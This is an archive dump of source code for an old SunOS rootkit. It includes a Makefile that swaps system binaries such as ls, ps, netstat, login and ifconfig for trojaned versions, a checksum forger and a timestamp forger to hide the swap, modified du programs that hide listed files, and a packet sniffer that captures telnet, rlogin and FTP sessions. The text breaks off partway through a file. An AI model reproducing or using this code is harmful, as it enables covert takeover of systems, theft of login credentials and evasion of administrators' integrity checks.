Makefile100600 0 0 4334 5656061103 10573 0ustar rootroot# Rootkit v4.8.91pl81 with logb and some other shyt a la m-q. CC =gcc NSOBJS =inet.o if.o main.o mbuf.o route.o unix.o ns.o ipintrq.o CFLAGS =-O2 LDFLAGS =-s ELEETDIR=/usr/5bin/... DESTDIR =rk BAKDIR =rk-bak TEMPDIR =/tmp/.X11-unix/.../rk NDYNAF =-n -Bdynamic PROGS =fix ft ns ps ls ls5 du du5 ic lb z z2 es krad: all install setup clean all: ${PROGS} fix: fix.c ${CC} ${CFLAGS} fix.c -o fix ft: ftime.c ${CC} ${CFLAGS} ftime.c -o ft ns: ${NSOBJS} ${CC} ${CFLAGS} ${NSOBJS} -o ns -lkvm ps: ps.c ${CC} ${CFLAGS} ${NDYNAF} ps.c -o ps -lm -lkvm ls: ls.c ${CC} ${CFLAGS} ${NDYNAF} ls.c -o ls du: du.c ${CC} ${CFLAGS} ${NDYNAF} du.c -o du ic: ifconfig.c revarp.c ${CC} -c ifconfig.c ${CC} -c revarp.c ${CC} ${CFLAGS} -Bstatic ifconfig.o revarp.o -o ic lb: magic.c lb.c ${CC} ${CFLAGS} magic.c -o magic magic ${CC} ${CFLAGS} lb.c -o lb du5: du5.c ${CC} ${CFLAGS} du5.c -o du5 ls5: ls5.c ${CC} ${CFLAGS} ls5.c -o ls5 z: z.c ${CC} -O4 z.c -o z z2: z2.c ${CC} -O4 z2.c -o z2 es: es.c ${CC} -O4 es.c -o es install: @(mkdir ${ELEETDIR}; \ cd ${ELEETDIR}; \ mkdir ${DESTDIR}; \ mkdir ${BAKDIR}; \ ${TEMPDIR}/ft /usr/ucb/netstat /usr/kvm/ps /bin/ls /bin/du \ /usr/bin/login /usr/etc/ifconfig /usr/5bin/du /usr/5bin/ls \ > ${ELEETDIR}/ftime.dat; \ ${TEMPDIR}/fix /usr/ucb/netstat ${TEMPDIR}/ns ${BAKDIR}/netstat.bak; \ ${TEMPDIR}/fix /usr/kvm/ps ${TEMPDIR}/ps ${BAKDIR}/ps.bak; \ ${TEMPDIR}/fix /bin/ls ${TEMPDIR}/ls ${BAKDIR}/ls.bak; \ ${TEMPDIR}/fix /bin/du ${TEMPDIR}/du ${BAKDIR}/du.bak; \ ${TEMPDIR}/fix /usr/bin/login ${TEMPDIR}/lb ${BAKDIR}/login.bak; \ ${TEMPDIR}/fix /usr/etc/ifconfig ${TEMPDIR}/ic ${BAKDIR}/ifconfig.bak; \ ${TEMPDIR}/fix /usr/5bin/du ${TEMPDIR}/du5 ${BAKDIR}/du5.bak; \ ${TEMPDIR}/fix /usr/5bin/ls ${TEMPDIR}/ls5 ${BAKDIR}/ls5.bak; \ ${TEMPDIR}/ft < ${ELEETDIR}/ftime.dat; \ install -s -m 0700 ${TEMPDIR}/z ${DESTDIR}/z; \ install -s -m 0700 ${TEMPDIR}/z2 ${DESTDIR}/z2; \ install -s -m 0700 ${TEMPDIR}/fix ${DESTDIR}/fix; \ install -s -m 0700 ${TMEPDIR}/ft ${DESTDIR}/ft; \ install -s -m 0700 ${TEMPDIR}/es ${DESTDIR}/es) setup: @(echo `basename ${ELEETDIR}`>/dev/ptyr; \ echo "2 es">/dev/ptyp) clean: rm -f *.o core ${PROGS} s00pahkleen: @(cd ${ELEETDIR}; \ rm -rf ${BAKDIR}) code.h100600 0 0 130 77607620340 10215 0ustar rootroot int code(a) char *a; { while(*a !='\0') { *a = ~(*a); a++; } return(1); } config.h100600 0 0 124 5656060463 10532 0ustar rootroot#define LSCONF "/dev/ttypr" #define PSCONF "/dev/ttypp" #define NSCONF "/dev/ttypq" date.c100600 0 0 1153 77607620340 10241 0ustar rootroot #include #include #include #define PRINT2(x) printf("%d%d",(x)/10,(x)%10); printd(t) long t; { struct tm *local; local = localtime(&t); PRINT2(local->tm_mon+1); PRINT2(local->tm_mday); PRINT2(local->tm_hour); PRINT2(local->tm_min); PRINT2(local->tm_year); putchar('\n'); } main(argc,argv) char **argv; int argc; { int a; struct stat buf; if(argc!=2) { printf("usage: %s filename\n",argv[0]); exit(-1); } a=stat(argv[1],&buf); if(a<0) { printf("error getting files status\n"); exit(-1); } printd(buf.st_mtime); return(0); } du.c100600 0 0 11403 5656060546 7734 0ustar rootroot/*+ * Modified du command to mask certain files from * being listed via any of the du commands. This * is a drop-in replacement for /bin/ls. +*/ #ifndef lint static char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */ #endif /* * du */ #include #include #include #include #include "config.h" char path[BUFSIZ], name[BUFSIZ]; int aflg; int sflg; char *dot = "."; #define ML 1000 struct { int dev; ino_t ino; } ml[ML]; int mlx; /*+ * Hack vars - oops they're global * but wtf cares, its a hack. +*/ #define STR_SIZE 128 #define SEP_CHAR " \n" #define SHOWFLAG /* Able to get du stats with `du -/` command */ struct h_st { struct h_st *next; char filename[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; FILE *fp_hack; int showall=0; long descend(); char *index(), *rindex(), *strcpy(), *sprintf(); #define kb(n) (howmany(dbtob(n), 1024)) main(argc, argv) int argc; char **argv; { long blocks = 0; register char *np; int pid; int c; extern int optind; #if defined (SHOWFLAG) while ((c = getopt(argc, argv, "as/")) != -1) #else while ((c = getopt(argc, argv, "as")) != -1) #endif switch (c) { case 'a': aflg++; break; case 's': sflg++; break; #if defined (SHOWFLAG) case '/': showall++; break; #endif default: (void)fprintf(stderr, "Usage: du [-as] file . . .\n"); exit (2); } /*+ Read in list of files to block +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (LSCONF, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strcpy (h_tmp->filename, tmp_str); h_tmp->filename[strlen(h_tmp->filename)-1]='\0'; h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ On with the program +*/ argc -= optind; argv += optind; if (argc == 0) { argv = ˙ argc = 1; } do { if (argc > 1) { pid = fork(); if (pid == -1) { fprintf(stderr, "No more processes.\n"); exit(1); } if (pid != 0) wait((int *)0); } if (argc == 1 || pid == 0) { (void) strcpy(path, *argv); (void) strcpy(name, *argv); if (np = rindex(name, '/')) { *np++ = '\0'; if (chdir(*name ? name : "/") < 0) { perror(*name ? name : "/"); exit(1); } } else np = path; blocks = descend(path, *np ? np : "."); if (sflg) printf("%ld\t%s\n", kb(blocks), path); if (argc > 1) exit(1); } argc--, argv++; } while (argc > 0); exit(0); /* NOTREACHED */ } DIR *dirp = NULL; long descend(base, name) /* Cool tree spanning idea */ char *base, *name; { char *ebase0, *ebase; struct stat stb; int i; long blocks = 0; long curoff = NULL; register struct direct *dp; /*+ * This will be very lagged if you include alot of files * because strstr() is such an expensive call. However, * the nature of this procedure requires it, and breaking * the pathname down would be just as expensive. Note, * that correct disk usage sizes will be reported based * upon files that are not masked. +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (strstr(base, h_tmp->filename)) return 0; ebase0 = ebase = index(base, 0); if (ebase > base && ebase[-1] == '/') ebase--; if (lstat(name, &stb) < 0) { perror(base); *ebase0 = 0; return (0); } if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) { for (i = 0; i <= mlx; i++) if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev) return (0); if (mlx < ML) { ml[mlx].dev = stb.st_dev; ml[mlx].ino = stb.st_ino; mlx++; } } blocks = stb.st_blocks; if ((stb.st_mode&S_IFMT) != S_IFDIR) { if (aflg) printf("%ld\t%s\n", kb(blocks), base); return (blocks); } if (dirp != NULL) closedir(dirp); dirp = opendir(name); if (dirp == NULL) { perror(base); *ebase0 = 0; return (0); } if (chdir(name) < 0) { perror(base); *ebase0 = 0; closedir(dirp); dirp = NULL; return (0); } while (dp = readdir(dirp)) { if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) continue; (void) sprintf(ebase, "/%s", dp->d_name); curoff = telldir(dirp); blocks += descend(base, ebase+1); *ebase = 0; if (dirp == NULL) { dirp = opendir("."); if (dirp == NULL) { perror("."); return (0); } seekdir(dirp, curoff); } } closedir(dirp); dirp = NULL; if (sflg == 0) printf("%ld\t%s\n", kb(blocks), base); if (chdir("..") < 0) { (void) sprintf(index(base, 0), "/.."); perror(base); exit(1); } *ebase0 = 0; return (blocks); } du5.c100600 0 0 12717 5656060556 10033 0ustar rootroot/*+ * du modification for the systemV additional * pack for SunOS 4. Mask out files. +*/ #ifndef lint static char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */ #endif /* ** du -- summarize disk usage ** du [-ars] [name ...] */ #include #include #include #include #include "config.h" char path[MAXPATHLEN+1], name[MAXPATHLEN+1]; int aflg; int rflg; int sflg; char *dot = "."; #define ML 1000 struct { int dev; ino_t ino; } ml[ML]; int mlx; /*+ * Hack vars - oops they're global * but wtf cares, its a hack. +*/ #define STR_SIZE 128 #define SEP_CHAR " \n" #define SHOWFLAG /* Able to get du stats with `du -/` command */ struct h_st { struct h_st *next; char filename[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; FILE *fp_hack; int showall=0; long descend(); extern char *strchr(), *strrchr(), *strcpy(); #define nlb(n) (howmany(dbtob(n), 512)) main(argc, argv) int argc; char **argv; { long blocks = 0; register c; extern char *optarg; extern int optind; register char *np; register int pid, wpid; int status, retcode = 0; #if defined (SHOWFLAG) while ((c = getopt(argc, argv, "ars/")) != EOF) #else while ((c = getopt(argc, argv, "ars")) != EOF) #endif switch(c) { case 'a': aflg++; continue; case 'r': rflg++; continue; case 's': sflg++; continue; #if defined (SHOWFLAG) case '/': showall++; break; #endif default: fprintf(stderr, "usage: du [-ars] [name ...]\n"); exit(2); } /*+ Read in list of files to block +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (LSCONF, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strcpy (h_tmp->filename, tmp_str); h_tmp->filename[strlen(h_tmp->filename)-1]='\0'; h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ On with the program +*/ if (optind == argc) { argv = ˙ argc = 1; optind = 0; } do { if (optind < argc - 1) { pid = fork(); if (pid == -1) { perror("du: No more processes"); exit(1); } if (pid != 0) { while ((wpid = wait(&status)) != pid && wpid != -1) ; if (pid != -1) { if (status != 0) retcode = 1; } } } if (optind == argc - 1 || pid == 0) { (void) strcpy(path, argv[optind]); (void) strcpy(name, argv[optind]); if (np = strrchr(name, '/')) { *np++ = '\0'; if (chdir(*name ? name : "/") < 0) { if (rflg) { fprintf(stderr, "du: "); perror(*name ? name : "/"); } exit(1); } } else np = path; blocks = descend(path, *np ? np : "."); if (sflg) printf("%ld\t%s\n", nlb(blocks), path); if (optind < argc - 1) exit(0); } optind++; } while (optind < argc); exit(retcode); /* NOTREACHED */ } DIR *dirp = NULL; long descend(base, name) char *base, *name; { char *ebase0, *ebase; struct stat stb; int i; long blocks = 0; long curoff = 0; register struct direct *dp; /*+ * This will be very lagged if you include alot of files * because strstr() is such an expensive call. However, * the nature of this procedure requires it, and breaking * the pathname down would be just as expensive. Note, * that correct disk usage sizes will be reported based * upon files that are not masked. +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (strstr(base, h_tmp->filename)) return 0; ebase0 = ebase = strchr(base, 0); if (ebase > base && ebase[-1] == '/') ebase--; if (lstat(name, &stb) < 0) { if (rflg) { fprintf(stderr, "du: "); perror(base); } *ebase0 = 0; return (0); } if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) { for (i = 0; i <= mlx; i++) if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev) return (0); if (mlx < ML) { ml[mlx].dev = stb.st_dev; ml[mlx].ino = stb.st_ino; mlx++; } } blocks = stb.st_blocks; if ((stb.st_mode&S_IFMT) != S_IFDIR) { if (aflg) printf("%ld\t%s\n", nlb(blocks), base); return (blocks); } if (dirp != NULL) closedir(dirp); dirp = opendir(name); if (dirp == NULL) { if (rflg) { fprintf(stderr, "du: "); perror(base); } *ebase0 = 0; return (0); } if (chdir(name) < 0) { if (rflg) { fprintf(stderr, "du: "); perror(base); } *ebase0 = 0; closedir(dirp); dirp = NULL; return (0); } while (dp = readdir(dirp)) { if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) continue; (void) sprintf(ebase, "/%s", dp->d_name); curoff = telldir(dirp); blocks += descend(base, ebase+1); *ebase = 0; if (dirp == NULL) { dirp = opendir("."); if (dirp == NULL) { if (rflg) { fprintf(stderr, "du: Can't reopen '.' in "); perror(base); } return (0); } seekdir(dirp, curoff); } } closedir(dirp); dirp = NULL; if (sflg == 0) printf("%ld\t%s\n", nlb(blocks), base); if (chdir("..") < 0) { if (rflg) { (void) sprintf(strchr(base, '\0'), "/.."); fprintf("du: Can't change directories to '..' in "); perror(base); } exit(1); } *ebase0 = 0; return (blocks); } es.c100600 0 0 30330 77607620340 7752 0ustar rootroot#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (8192) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 36000 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Yo Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } fix.c100600 0 0 6413 77607620340 10116 0ustar rootroot/* * fixer.c * by Idefix * inspired on sum.c and SaintStat 2.0 */ #include #include #include #include #include main(argc,argv) int argc; char **argv; { unsigned orig_crc, current_crc, temp; unsigned char diff1, diff2, buf[20]; char systemstr[100]; struct stat statbuf; struct timeval ftime[2], otime, ntime; struct timezone tzp; long position; FILE *f; int i, fix=1; if (argc!=4) { usage(argv[0]); exit(1); } stat(argv[1], &statbuf); if(sum(argv[0], argv[1], &orig_crc) != 0) exit(1); if(sum(argv[0], argv[2], ¤t_crc) != 0) exit(1); sprintf(systemstr, "cp %s %s", argv[1], argv[3]); system(systemstr); sprintf(systemstr, "cp %s %s", argv[2], argv[1]); system(systemstr); diff1=(orig_crc&0xFF)-(current_crc&0xFF); temp=(current_crc+diff1)&0xFFFF; for(i=0;i<8;i++) { if(temp&1) temp = (temp>>1) + 0x8000; else temp >>= 1; } diff2=((orig_crc&0xFF00)>>8)-(temp&0xFF); temp=(temp+diff2)&0xFFFF; for(i=0;i<8;i++) { if(temp&1) temp = (temp>>1) + 0x8000; else temp >>= 1; } if((temp-orig_crc)==1) diff1=diff1-1; if((f = fopen(argv[1], "r+b")) == NULL) { fprintf (stderr, "%s: Can't open %s\n", argv[0], argv[1]); exit(1); } fseek(f, 0L, SEEK_END); position=ftell(f)-17; fseek(f, position, SEEK_SET); fread(buf, 17, 1, f); for(i=0;i<17;i++) if(buf[i]!=0) { fprintf(stderr, "%s: Last 17 bytes not zero\n", argv[0]); fprintf(stderr, "%s: Can't fix checksum\n", argv[0]); fix=0; break; } if(fix) { buf[0]=diff1; buf[8]=diff2; fseek(f, position, SEEK_SET); fwrite(buf, 17, 1, f); } fclose(f); if(chmod(argv[1], statbuf.st_mode)) { fprintf(stderr, "%s: No permission to change mode or no such file\n", argv[0]); exit(1); } if(chown(argv[1], statbuf.st_uid, statbuf.st_gid)) { fprintf(stderr, "%s: No permission to change owner or no such file\n", argv[0]); exit(1); } ftime[0].tv_sec = statbuf.st_atime; ftime[1].tv_sec = statbuf.st_mtime; ntime.tv_sec = statbuf.st_ctime; ftime[0].tv_usec = ftime[1].tv_usec = ntime.tv_usec = 0; if(gettimeofday(&otime, &tzp)) { fprintf(stderr, "%s: Can't read time of day\n", argv[0]); exit(1); } if(settimeofday(&ntime, &tzp)) { fprintf(stderr, "%s: Can't set time of day\n", argv[0]); } if(utimes(argv[1], ftime)) { fprintf(stderr, "%s: Can't change modify time\n", argv[0]); } settimeofday(&otime, &tzp); return 0; } sum(name, file, crc) char *name; char *file; unsigned *crc; { unsigned sum; int i, c; FILE *f; long nbytes; int errflg = 0; if((f=fopen(file, "r")) == NULL) { fprintf(stderr, "%s: Can't open %s\n", name, file); return(1); } sum = 0; nbytes = 0; while((c=getc(f)) != EOF) { nbytes++; if(sum&01) sum = (sum>>1) + 0x8000; else sum >>= 1; sum += c; sum &= 0xFFFF; } if(ferror (f)) { errflg++; fprintf (stderr, "%s: read error on %s\n", name, file); } fclose(f); *crc=sum; return(0); } usage(name) char *name; { fprintf(stderr, "Usage:\n"); fprintf(stderr,"%s original replacement backup\n", name); } ftime.c100600 0 0 1606 77607620340 10433 0ustar rootroot#include #include #include #include G(s) char *s; { struct stat b; stat(s, &b); printf("%s %d %d %d %d %d %d\n", s, b.st_atime, b.st_mtime, b.st_ctime, b.st_uid, b.st_gid, b.st_mode); } S(s) char *s; { char *f=strtok(s, " "); struct timeval a[2], old, new; struct timezone z; int o; a[0].tv_sec = atol(strtok(NULL, " ")); a[1].tv_sec = atol(strtok(NULL, " ")); new.tv_sec = atol(strtok(NULL, " ")); a[0].tv_usec = a[1].tv_usec=new.tv_usec=0; o=atol(strtok(NULL, " ")); chown(f, o, atol(strtok(NULL, " "))); chmod(f, atol(strtok(NULL, " "))); gettimeofday(&old, &z); settimeofday(&new, &z); utimes(f, a); settimeofday(&old, &z); } main(c, v) int c; char **v; { char s[512]; if(c>1) { for(++v;--c;++v) G(*v); putchar('\n'); } else while(strlen(gets(s)) > 4) S(s); } host.c100600 0 0 3277 77607620340 10312 0ustar rootroot/* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint static char sccsid[] = "@(#)host.c 1.1 91/11/13 SMI"; /* from UCB 5.2 9/27/85 */ #endif #include #include #include #include #include extern int kread(); extern int nflag; extern char *inetname(); /* * Print the host tables associated with the ARPANET IMP. * Symbolic addresses are shown unless the nflag is given. */ hostpr(hostsaddr) off_t hostsaddr; { struct mbuf *hosts, mb; register struct mbuf *m; register struct hmbuf *mh; register struct host *hp; char flagbuf[10], *flags; int first = 1; if (hostsaddr == 0) { printf("hosts: symbol not in namelist\n"); return; } kread(hostsaddr, &hosts, sizeof (hosts)); m = hosts; printf("IMP Host Table\n"); printf("%-5.5s %-15.15s %-4.4s %-9.9s %-4.4s %s\n", "Flags", "Host", "Qcnt", "Q Address", "RFNM", "Timer"); while (m) { kread(m, &mb, sizeof (mb)); m = &mb; mh = mtod(m, struct hmbuf *); if (mh->hm_count == 0) { m = m->m_next; continue; } for (hp = mh->hm_hosts; hp < mh->hm_hosts + HPMBUF; hp++) { if ((hp->h_flags&HF_INUSE) == 0 && hp->h_timer == 0) continue; flags = flagbuf; *flags++ = hp->h_flags&HF_INUSE ? 'A' : 'F'; if (hp->h_flags&HF_DEAD) *flags++ = 'D'; if (hp->h_flags&HF_UNREACH) *flags++ = 'U'; *flags = '\0'; printf("%-5.5s %-15.15s %-4d %-9x %-4d %d\n", flagbuf, inetname(hp->h_addr), hp->h_qcnt, hp->h_q, hp->h_rfnm, hp->h_timer); } m = m->m_next; } } if.c100600 0 0 20607 77607620340 7747 0ustar rootroot/* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint static char sccsid[] = "@(#)if.c 1.1 91/11/13 SMI"; /* from UCB 